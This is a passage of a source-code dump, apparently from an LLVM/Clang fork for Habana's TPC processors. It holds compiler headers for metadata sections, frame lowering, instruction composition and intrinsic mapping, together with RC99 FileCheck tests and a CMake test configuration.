0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 9, 0, 1, 0);\n#endif\n }\n}\n\nvoid main(tensor out_tnsr)\n{\n test_runner(to_prepare_data, out_tnsr); // dummy call; remove -> correct result \n test_runner(to_run_test, out_tnsr);\n}\n\n//CHECK-NOT: jmpr\n" }, { "alpha_fraction": 0.6516744494438171, "alphanum_fraction": 0.6703660488128662, "avg_line_length": 36.21739196777344, "blob_id": "4fc9b43a3a2b3d0371836cfdab7eb04d6822c277", "content_id": "e4de45b9ff2646ce982dd41792597b6d9164cde1", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5138, "license_type": "permissive", "max_line_length": 142, "num_lines": 138, "path": "/llvm/include/llvm/Target/TPCMetadataSection.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- llvm/Target/TPCProgramHeader.h - TPC Specific header -----*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file declares a TPC specific data. This info usages for write\n// .TPC_METADATA section.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef TPC_METADATA_SECTION_H\n#define TPC_METADATA_SECTION_H\n\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include <cassert>\n#include <cstdint>\n#include <limits>\n#include <string>\n#include <unordered_map>\n#include <vector>\n\nnamespace llvm {\n\nextern cl::opt<bool> TPCElfMemcpy;\n\nstatic const char *StringTPCMetadataSectionName = \".TPC_METADATA\";\nstatic const char *BinaryTPCMetadataSectionName = \".tpc_metadata\";\n\nstatic const unsigned TPCMetadataSectionSize = 262;\nstatic const unsigned TPCNumTensors = 16;\nstatic const unsigned TPCReservedSize = 232;\nstatic const unsigned TPCReservedSize1 = 12;\nstatic const unsigned TPCMetadataVersion = 9;\nstatic const unsigned TPCLastMarch = 5;\n\nstatic const char *TPCVersionName = \"version\";\nstatic const char *TPCSpecialFunctionUsedName = \"specialFunctionUsed\";\nstatic const char *TPCPrintfUsedName = \"printfUsed\";\nstatic const char *TPCLockUnLockName = \"lockUnLock\";\nstatic const char *TPCScalarLdName = \"scalarLd\";\nstatic const char *TPCRMWStoreName = \"rmwStore\";\nstatic const char *TPCMarchName = \"march\";\nstatic const char *TPCMMIOName = \"mmioUsed\";\nstatic const char *TPCParamsNumName = \"paramsNum\";\nstatic const char *TPCPrintfTensorIDName = \"printfTensorID\";\nstatic const char *TPCBubbleName = \"TPCBubble\";\n\nstatic const char *TPCUnhandledMetadataField = \"Unhandled tpc metadata field\";\n\nstruct TPCMetadataSection {\n uint32_t version = TPCMetadataVersion;\n bool specialFunctionUsed = false;\n bool printfUsed = false;\n bool lockUnLock = false;\n bool mmioUsed = false;\n uint16_t march = 1; // Dali\n uint8_t paramsNum = 0;\n uint8_t printfTensorID = 0;\n uint8_t reservedTemp[TPCReservedSize1];\n bool scalarLd[TPCNumTensors] = {false};\n bool rmwStore[TPCNumTensors] = {false};\n // Do not use these fields:\n uint8_t reserved[TPCReservedSize];\n};\n\nstd::vector<uint8_t>\nbianrySerializeTPCProgramHeader(const TPCMetadataSection &Header);\nTPCMetadataSection binaryDeserializeTPCProgramHeader(\n const std::vector<uint8_t> &Data);\n\nTPCMetadataSection stringDeserializeTPCProgramHeader(const StringRef& String);\n\nstatic const std::unordered_map<unsigned, const char*>\nTPCMetadataTypeDirectives = {\n {1, \"DB\"},\n {2, \"DW\"},\n {4, \"DD\"},\n {8, \"DQ\"},\n {10, \"DT\"},\n {16, \"DH\"}\n};\n\nstruct TPCMetadataFieldInfo {\n const char *fieldName;\n unsigned elementSize;\n unsigned length;\n unsigned minValue;\n unsigned maxValie;\n uint8_t startWithVersion;\n unsigned offset;\n\n bool isArray() const {return length > 1;}\n\n static TPCMetadataFieldInfo CreateBoolFieldInfo(const char *FieldName,\n uint8_t StartWithVersion, unsigned Offset) {\n return TPCMetadataFieldInfo{FieldName, 1, 1, 0, 1, StartWithVersion, Offset};\n }\n};\n\nstatic const TPCMetadataFieldInfo TPCMetadataFieldsInfo[] = {\n TPCMetadataFieldInfo{TPCVersionName, 4, 1, 0, TPCMetadataVersion, 3, 0},\n TPCMetadataFieldInfo::CreateBoolFieldInfo(TPCSpecialFunctionUsedName, 3, 4),\n TPCMetadataFieldInfo::CreateBoolFieldInfo(TPCPrintfUsedName, 3, 5),\n TPCMetadataFieldInfo::CreateBoolFieldInfo(TPCLockUnLockName, 3,6),\n TPCMetadataFieldInfo{TPCScalarLdName, 1, TPCNumTensors, 0, 1, 3, 26},\n TPCMetadataFieldInfo{TPCRMWStoreName, 1, TPCNumTensors, 0, 1, 4, 42},\n TPCMetadataFieldInfo{TPCMarchName, 2, 1, 1, TPCLastMarch, 5, 8},\n TPCMetadataFieldInfo{TPCBubbleName, 2, 1, 1, TPCLastMarch, 8, 10}, //Pading the the TPCMarch with more 2 bytes to align to elf_api\n TPCMetadataFieldInfo::CreateBoolFieldInfo(TPCMMIOName, 6, 7),\n TPCMetadataFieldInfo{TPCParamsNumName, 1, 1, 0,\n std::numeric_limits<uint8_t>::max(), 8, 12},\n TPCMetadataFieldInfo{TPCPrintfTensorIDName, 1, 1, 0, TPCNumTensors, 9, 13}\n};\n\nbool setTpcMetadataValue(int64_t Value,\n const TPCMetadataFieldInfo &FieldInfo,\n TPCMetadataSection &Result,\n std::string &ErrorMessage);\n\nbool setTpcMetadataArrayValue(int64_t Value,\n unsigned Index,\n const TPCMetadataFieldInfo &FieldInfo,\n TPCMetadataSection &Result,\n std::string &ErrorMessage);\n\nbool setTpcMetadataArrayValue(const StringRef &Value,\n const TPCMetadataFieldInfo &FieldInfo,\n TPCMetadataSection &Result,\n std::string &ErrorMessage);\n}\n\n#endif // TPC_METADATA_SECTION_H\n" }, { "alpha_fraction": 0.5147826075553894, "alphanum_fraction": 0.643478274345398, "avg_line_length": 46.91666793823242, "blob_id": "820fc2bebc42ff1e741f893b6b0c3d65b85b10e2", "content_id": "0aadf0009a99eca9efb4d83459c99632f148f884", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 575, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_int256_to_float256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n int256 *sptr = (int256 *)src;\n float256 *dptr = (float256 *)dest;\n int256 src_val = *sptr;\n *dptr++ = convert_int256_to_float256(src_val, 0);\n *dptr = convert_int256_to_float256(src_val, SW_RD);\n}\n\n// CHECK-IR: sitofp <256 x i32> {{.*}} to <256 x float>\n// CHECK-IR: call <256 x float> @llvm.tpc.convert.v256f32.v256i32.i1(<256 x i32> {{.*}}, i8 2, i32 196608, <256 x float> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5427807569503784, "alphanum_fraction": 0.6390374302864075, "avg_line_length": 36.400001525878906, "blob_id": "c4f910bc42e81221af09f414ab5fee53e497a29d", "content_id": "8b3a9ee853c6f687e6db2e2400654d0eec0623fe", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 374, "license_type": "permissive", "max_line_length": 135, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_ushort128_to_int128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n ushort128 *sptr = (ushort128 *)src;\n int128 *dptr = (int128 *)dest;\n ushort128 src_val = *sptr;\n *dptr = convert_ushort128_to_int128(src_val, 0);\n}\n\n// CHECK-IR: zext <128 x i16> {{.*}} to <128 x i32>\n" }, { "alpha_fraction": 0.6298342347145081, "alphanum_fraction": 0.6464088559150696, "avg_line_length": 28.16666603088379, "blob_id": "9a952922c4f97fdc1522593051e4b6afbe9ac6a4", "content_id": "f61c1ce039dbd61c25b682918aa904e4597186e3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 181, "license_type": "permissive", "max_line_length": 75, "num_lines": 6, "path": "/clang/test/RC99/extern-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\r\n\r\nextern void abc();\r\nvoid main() {\r\n abc(); // expected-error{{function is used but not defined}}\r\n}\r\n" }, { "alpha_fraction": 0.470459520816803, "alphanum_fraction": 0.5908096432685852, "avg_line_length": 27.5625, "blob_id": "ca29f31d3c5c778e5bdbcac8cc04e1b0cc8ffff6", "content_id": "54ecbf7c732b49c8db35a288685571dc129a20c1", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 457, "license_type": "permissive", "max_line_length": 78, "num_lines": 16, "path": "/clang/test/RC99/CodeGen/ind_opt_add_const.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src,int step) {\n int64 val = src;\n int5 storeCoord = { 0, 1, 2, 3, 4 };\n storeCoord[0]+=2;\n storeCoord[1]+=2;\n storeCoord[2]+=2;\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n storeCoord[3]+=2;\n storeCoord[4]+=2;\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n}\n\n// CHECK: add.i32 b00111 %I2, 0x2, %I2, %SP0\n// CHECK: add.i32 b11000 %I2, 0x2, %I2, %SP0\n" }, { "alpha_fraction": 0.6794044375419617, "alphanum_fraction": 0.681389570236206, "avg_line_length": 29.08955192565918, "blob_id": "5d05d06cef420de10189ac1b1becb9dd605f7640", "content_id": "47639348855cf6eb004541610bd8b5dbe532699d", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2015, "license_type": "permissive", "max_line_length": 80, "num_lines": 67, "path": "/llvm/lib/Target/TPC/TPCIndexSpace.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCIndexSpace.cpp --- TPC INDEX SPACE ------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//===----------------------------------------------------------------------===//\n#ifndef LLVM_TPCINDEXSPACE_CPP_H\n#define LLVM_TPCINDEXSPACE_CPP_H\n\n#include \"SCEVParser.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/Analysis/MemoryBuiltins.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpander.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpressions.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\n#include \"TPCLoopData.h\"\n\nusing namespace llvm;\n\n#define PassName \"TPCIndexMap\"\n#define PassDescription \"Create pipeline optimization in the level of the IR\"\n#define DEBUG_TYPE PassName\n#include <iostream>\n\nusing namespace std;\n\nclass TPCIndexMap : public FunctionPass {\n // Pass identification, replacement for typeid\npublic:\n static char ID;\n\n TPCIndexMap() : FunctionPass(ID) {\n initializeTPCIndexMapPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addPreserved<ScalarEvolutionWrapperPass>();\n getLoopAnalysisUsage(AU);\n }\n\nprivate:\n vector<Instruction *> m_load;\n vector<Instruction *> m_store;\n vector<LoopData> m_loopInfoVec;\n vector<Loop *> m_loopHeader;\n ScalarEvolution *p_SE;\n Function *p_func;\n LoopInfo *p_LI;\n bool runOnFunction(Function &F) override;\n void collectDataLoop(Function &F, ScalarEvolution *SE, LoopInfo *LI);\n void sort();\n void print_data();\n};\n\n\n\n\n#endif //LLVM_TPCINDEXSPACE_CPP_H" }, { "alpha_fraction": 0.5817362070083618, "alphanum_fraction": 0.5862457752227783, "avg_line_length": 28.566667556762695, "blob_id": "8829651a9892d59a49d9470cf4d26a1664d1bbed", "content_id": "cf6a58c204dc898aeaf8b729b5d3b44b469407f8", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 887, "license_type": "permissive", "max_line_length": 80, "num_lines": 30, "path": "/llvm/include/llvm/Transforms/Scalar/EliminateSwizzleCast.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------------------- EliminateSwizzleCast.h ------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TRANSFORMS_SCALAR_CASTSWIZZLE_H\n#define LLVM_TRANSFORMS_SCALAR_CASTSWIZZLE_H\n\n#include \"llvm/IR/PassManager.h\"\n\nnamespace llvm {\n\nclass FunctionPass;\n\nclass EliminateSwizzleCastPass : PassInfoMixin<EliminateSwizzleCastPass> {\npublic:\n explicit EliminateSwizzleCastPass() {}\n};\n\n/// Create a legacy pass manager instance of the pass\nFunctionPass *createEliminateSwizzleCastLegacyPass();\n\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.6239520907402039, "alphanum_fraction": 0.6419161558151245, "avg_line_length": 26.83333396911621, "blob_id": "8fedd3ace06c42358a4a54bbec2458854dfeb517", "content_id": "2d3265c1c9fa2028b645792cfe47e86da1b52910", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1670, "license_type": "permissive", "max_line_length": 107, "num_lines": 60, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstrComposer.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrComposer.h - Convert LLVM instructions layout to TPC instructions layout -------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n\n#ifndef LLVM_TPCINSTRCOMPOSER_H\n#define LLVM_TPCINSTRCOMPOSER_H\n\n#include \"TPCMCInstrInfo.h\"\n#include \"TPCInstrLayout.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"llvm/ADT/APInt.h\"\n#include <bitset>\n\nnamespace llvm {\n\nclass TPCInstrComposer {\n unsigned InstructionSizeInBits = 256;\n uint64_t SPUInst;\n uint64_t VPUInst;\n uint64_t LDInst;\n uint64_t STInst;\n uint32_t IMM;\n\n const FeatureBitset &TPCFeatures;\n bool IsCompressed;\n CompressionType CT;\n bool MayCompress = false;\n\n APInt getBinaryInst(uint64_t LLVMInstr, const std::map<Fields, Field> &Layout);\n APInt getIMM(uint32_t &IMM);\n\npublic:\n TPCInstrComposer(uint64_t _SPUInst, uint64_t _VPUInst, uint64_t _LDInst, uint64_t _STInst, uint32_t _IMM,\n const FeatureBitset &Features, bool _IsCompressed, CompressionType _CT) :\n SPUInst(_SPUInst), VPUInst(_VPUInst), LDInst(_LDInst), STInst(_STInst), IMM(_IMM),\n TPCFeatures(Features), IsCompressed(_IsCompressed), CT(_CT) {\n if(IsCompressed) {\n InstructionSizeInBits = 128;\n }\n MayCompress = false;\n }\n\n ~TPCInstrComposer() = default;\n\n APInt createBundle();\n};\n}\n\n\n#endif //LLVM_TPCINSTRCOMPOSER_H\n" }, { "alpha_fraction": 0.7082228064537048, "alphanum_fraction": 0.7188329100608826, "avg_line_length": 21.176469802856445, "blob_id": "a358d52772dd4c6c991b25b48ce656503e5ba9e6", "content_id": "7781bbffcd2e401847ca9401b49e51b15fd4aad0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 377, "license_type": "permissive", "max_line_length": 65, "num_lines": 17, "path": "/clang/test/RC99/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "list(APPEND TPC_RUNTIME_TEST_DEPS\n FileCheck\n count\n not\n clang\n llvm-config\n llvm-objdump\n )\n\nadd_lit_testsuite(check-rc99 \"Running the TPC clang tests\"\n ${CMAKE_CURRENT_BINARY_DIR}\n #LIT ${LLVM_LIT}\n PARAMS ${CLANG_TEST_PARAMS}\n DEPENDS ${TPC_RUNTIME_TEST_DEPS}\n ARGS ${CLANG_TEST_EXTRA_ARGS}\n )\nset_target_properties(check-rc99 PROPERTIES FOLDER \"Clang tests\")\n" }, { "alpha_fraction": 0.6938127875328064, "alphanum_fraction": 0.6969857215881348, "avg_line_length": 36.07843017578125, "blob_id": "6e017511ae4d4ec260b5173e6932e3ead38cf81c", "content_id": "9aa8a3e34bd3520a42d6e75120f853324b93909e", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3782, "license_type": "permissive", "max_line_length": 80, "num_lines": 102, "path": "/llvm/lib/Target/TPC/TPCFrameLowering.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCFrameLowering.h - Define frame lowering for TPC --*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCFRAMELOWERING_H\n#define LLVM_LIB_TARGET_TPC_TPCFRAMELOWERING_H\n\n#include \"llvm/CodeGen/TargetFrameLowering.h\"\n\nnamespace llvm {\n\nclass TPCSubtarget;\nclass TPCFrameLowering : public TargetFrameLowering {\n mutable unsigned MaxScalarMemory = 0;\n mutable unsigned MaxVectorMemory = 0;\n mutable unsigned ScalarDataSize = 0;\n mutable unsigned VectorDataSize = 0;\n mutable unsigned SpillScalarDataSize = 0;\n mutable unsigned SpillVectorDataSize = 0;\n\n // Describes a 'stack' slot.\n struct FrameObject {\n unsigned Size = 0;\n unsigned Offset; // Start of the slot in local memory\n\n bool isEmpty() const { return Size == 0; }\n };\n\n // Array of frame objects. Index into this array is the 'FrameIndex' provided\n // for loadRegFromStackSlot/storeRegToStackSlot.\n SmallVector<FrameObject, 16> FrameObjects;\n\n // Offset for the next frame record in local memory.\n unsigned TopVectorFrame = 0;\n unsigned TopScalarFrame = 0;\n\npublic:\n explicit TPCFrameLowering();\n\n unsigned getMaxScalarMemory() const { return MaxScalarMemory; }\n unsigned getMaxVectorMemory() const { return MaxVectorMemory; }\n unsigned getScalarDataSize() const { return ScalarDataSize; }\n unsigned getVectorDataSize() const { return VectorDataSize; }\n unsigned getSpillScalarDataSize() const { return SpillScalarDataSize; }\n unsigned getSpillVectorDataSize() const { return SpillVectorDataSize; }\n\n void setMaxScalarMemory(unsigned Sz) const { MaxScalarMemory = Sz; }\n void setMaxVectorMemory(unsigned Sz) const { MaxVectorMemory = Sz; }\n void setScalarDataSize(unsigned Sz) const { ScalarDataSize = Sz; }\n void setVectorDataSize(unsigned Sz) const { VectorDataSize = Sz; }\n void setSpillScalarDataSize(unsigned Sz) const { SpillScalarDataSize = Sz; }\n void setSpillVectorDataSize(unsigned Sz) const { SpillVectorDataSize = Sz; }\n\n\n unsigned getSpillObject(int FrameIndex, const TargetRegisterClass *RC,\n MachineFunction &MF, unsigned Sz);\n unsigned getFrameObjectOffset(int FrameIndex) const;\n unsigned getFrameObjectSize(int FrameIndex) const;\n\n /// emitProlog/emitEpilog - These methods insert prolog and epilog code into\n /// the function.\n void emitPrologue(MachineFunction &MF, MachineBasicBlock &MBB) const override;\n void emitEpilogue(MachineFunction &MF, MachineBasicBlock &MBB) const override;\n\n MachineBasicBlock::iterator\n eliminateCallFramePseudoInstr(MachineFunction &MF,\n MachineBasicBlock &MBB,\n MachineBasicBlock::iterator I) const override;\n\n bool hasReservedCallFrame(const MachineFunction &MF) const override;\n bool hasFP(const MachineFunction &MF) const override;\n void determineCalleeSaves(MachineFunction &MF, BitVector &SavedRegs,\n RegScavenger *RS = nullptr) const override;\n\n int getFrameIndexReference(const MachineFunction &MF, int FI,\n unsigned &FrameReg) const override;\n\n /// targetHandlesStackFrameRounding - Returns true if the target is\n /// responsible for rounding up the stack frame (probably at emitPrologue\n /// time).\n bool targetHandlesStackFrameRounding() const override { return true; }\n\nprivate:\n\n // Returns true if MF is a leaf procedure.\n bool isLeafProc(MachineFunction &MF) const;\n\n\n};\n\n} // End llvm namespace\n\n#endif\n" }, { "alpha_fraction": 0.5974981784820557, "alphanum_fraction": 0.6212901473045349, "avg_line_length": 33.846153259277344, "blob_id": "17ee1c7cf5ca1cfcaa9c32e2cf81a0eeca22644b", "content_id": "304d47703486cd3a34a572012132ee05432e4aa3", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8154, "license_type": "permissive", "max_line_length": 80, "num_lines": 234, "path": "/llvm/lib/Target/TPC/TPCMapCompoundInst.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===TPCMapCompound.h---------------------------------------------------------//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This file contains code that maps compound Instruction to the corresponding\n/// set of Intrinsics.\n/// This code is the property of Habana.\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TPCMAPCOMPOUNDINST_H\n#define LLVM_TPCMAPCOMPOUNDINST_H\n#include \"TPCSubtarget.h\"\n#include \"llvm/ADT/DenseMap.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include <llvm/Support/Debug.h>\n\nusing namespace llvm;\n\n#define _PRIMARY_TYPE 0\n#define _VECTOR_TYPE 1\n\nstruct IntrinsicInfo {\n#define TYPE_MATRIX 2\n Intrinsic::ID Id;\n Type::TypeID Ty[TYPE_MATRIX];\n};\n\n// Count enables us to capture multiple usages of the same\n// intrinsic which is common in One-To-Many instructions\nstruct IntrinsicBunch {\n Intrinsic::ID Id;\n unsigned count;\n};\nusing IntrinsicVector = SmallVector<IntrinsicBunch, 8>;\n\n// TODO: Make the classes Singleton or use the pimpl idiom to reduce\n// invocation cost\nclass MapCompundInstToIntrinsics {\n\npublic:\n static void printIntrinsicVector(const IntrinsicVector &I, raw_ostream &OS) {\n for (auto Elem : I) {\n OS << \"ID is \" << Elem.Id << \" \";\n OS << \"Count is \" << Elem.count << \"\\n\";\n OS << \"\\n\";\n }\n }\n\n MapCompundInstToIntrinsics() = default;\n\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST) {\n return {{}};\n }\n\n virtual ~MapCompundInstToIntrinsics() = default;\n};\nusing CompoundInstToIntrinsMap =\n DenseMap<int, std::shared_ptr<MapCompundInstToIntrinsics>>;\n\nclass MapTruncate : virtual public MapCompundInstToIntrinsics {\n\n IntrinsicVector Trunc_32_16 = {{Intrinsic::tpc_pack, 4},\n {Intrinsic::tpc_mov_dual_group, 4}};\n IntrinsicVector Trunc_32_16_goya = {{Intrinsic::tpc_pack, 4},\n {Intrinsic::tpc_mov_dual_group, 7}};\n IntrinsicVector Trunc_32_8 = {{Intrinsic::tpc_pack, 9},\n {Intrinsic::tpc_mov_dual_group, 14}};\n\npublic:\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n const IntrinsicVector &getTrunc32_16Goya() const { return Trunc_32_16_goya; }\n const IntrinsicVector &getTrunc32_16() const { return Trunc_32_16; }\n const IntrinsicVector &getTrunc32_16(const TPCSubtarget *ST) const {\n return (ST->hasGoyaISA()) ? getTrunc32_16Goya() : getTrunc32_16();\n }\n const IntrinsicVector &getTrunc16_8() const { return getTrunc32_16Goya(); }\n const IntrinsicVector &getTrunc32_8() const { return Trunc_32_8; }\n\n virtual ~MapTruncate() = default;\n IntrinsicVector downConvertVec(const Instruction *I, const TPCSubtarget *ST);\n};\n\nclass MapExtend : virtual public MapCompundInstToIntrinsics {\n IntrinsicVector Ext_8_32_Gaudi = {{Intrinsic::tpc_pack, 4},\n {Intrinsic::tpc_mov_dual_group, 8}};\n IntrinsicVector Ext_8_32 = {{Intrinsic::tpc_pack, 4},\n {Intrinsic::tpc_mov_dual_group, 14}};\n IntrinsicVector Ext_8_16 = {{Intrinsic::tpc_pack, 2},\n {Intrinsic::tpc_mov_dual_group, 6},\n {Intrinsic::tpc_convert, 2}};\n IntrinsicVector Ext_16_32_Gaudi = {{Intrinsic::tpc_pack, 2},\n {Intrinsic::tpc_mov_dual_group, 2},\n {Intrinsic::tpc_mov_group, 1}};\n IntrinsicVector Ext_16_32 = {{Intrinsic::tpc_pack, 2},\n {Intrinsic::tpc_mov_dual_group, 6}};\n\npublic:\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n const IntrinsicVector &getExt8_32Gaudi() const { return Ext_8_32_Gaudi; }\n const IntrinsicVector &getExt8_32() const { return Ext_8_32; }\n const IntrinsicVector &getExt8_16() const { return Ext_8_16; }\n const IntrinsicVector &getExt16_32Gaudi() const { return Ext_16_32_Gaudi; }\n const IntrinsicVector &getExt16_32() const { return Ext_16_32; }\n const IntrinsicVector &getExt8_32(const TPCSubtarget *ST) const {\n return (ST->hasGaudiISA()) ? getExt8_32Gaudi() : getExt8_32();\n }\n const IntrinsicVector &getExt8_16(const TPCSubtarget *ST) const {\n return getExt8_16();\n }\n const IntrinsicVector &getExt16_32(const TPCSubtarget *ST) const {\n return (ST->hasGaudiISA()) ? getExt16_32Gaudi() : getExt16_32();\n }\n IntrinsicVector upConvertVec(const Instruction *I, const TPCSubtarget *ST);\n virtual ~MapExtend() = default;\n};\n\nclass MapExtendTruncate : public MapExtend, public MapTruncate {\n\npublic:\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n virtual ~MapExtendTruncate() = default;\n};\n\nclass MapSelect : public MapCompundInstToIntrinsics {\n\n IntrinsicVector Select_Mov = {{Intrinsic::tpc_mov, 2}};\n IntrinsicVector Max = {{Intrinsic::tpc_max, 1}};\n IntrinsicVector Min = {{Intrinsic::tpc_min, 1}};\n\npublic:\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n const IntrinsicVector &getSelect_Mov() const { return Select_Mov; }\n const IntrinsicVector &getMax() const { return Max; }\n const IntrinsicVector &getMin() const { return Min; }\n virtual ~MapSelect() = default;\n};\n\nclass MapDivide : public MapCompundInstToIntrinsics {\n bool Unsigned;\n IntrinsicVector And = {{Intrinsic::tpc_and, 2}};\n IntrinsicVector Base = {{Intrinsic::tpc_mov, 2}};\n\npublic:\n IntrinsicVector &getBase() { return Base; }\n\n MapDivide(bool Unsigned) : Unsigned(Unsigned) {}\n\n unsigned getCount(const Instruction *I, const TPCSubtarget *ST) {\n unsigned Count = 0;\n bool Gen2 = ST->hasGaudiISA();\n bool Gen1 = ST->hasGoyaISA();\n bool Gen2OrHigher = ST->hasGaudiISA();\n if (I->getType()->isIntegerTy()) {\n switch (I->getType()->getPrimitiveSizeInBits()) {\n case 32:\n if (Gen1)\n Count = 32;\n else if (Gen2)\n Count = 8;\n break;\n case 16:\n if (Gen1)\n Count = 16;\n else if (Gen2)\n Count = 4;\n break;\n default:\n if (Gen1)\n Count = 8;\n else if (Gen2)\n Count = 2;\n break;\n }\n } else {\n Count = (Gen2OrHigher ? 2 : 8);\n }\n return Count;\n }\n\n virtual IntrinsicVector getMapping(const Instruction *I,\n const TPCSubtarget *ST);\n};\n\nclass MapUnsignedDivide : public MapDivide {\npublic:\n MapUnsignedDivide() : MapDivide(true) {}\n virtual ~MapUnsignedDivide(){};\n};\n\nclass MapSignedDivide : public MapDivide {\n IntrinsicVector Base = {\n {Intrinsic::tpc_xor, 1}, {Intrinsic::tpc_and, 1}, {Intrinsic::tpc_or, 1}};\n\npublic:\n IntrinsicVector &getSBase() { return Base; }\n MapSignedDivide() : MapDivide(false) {}\n virtual 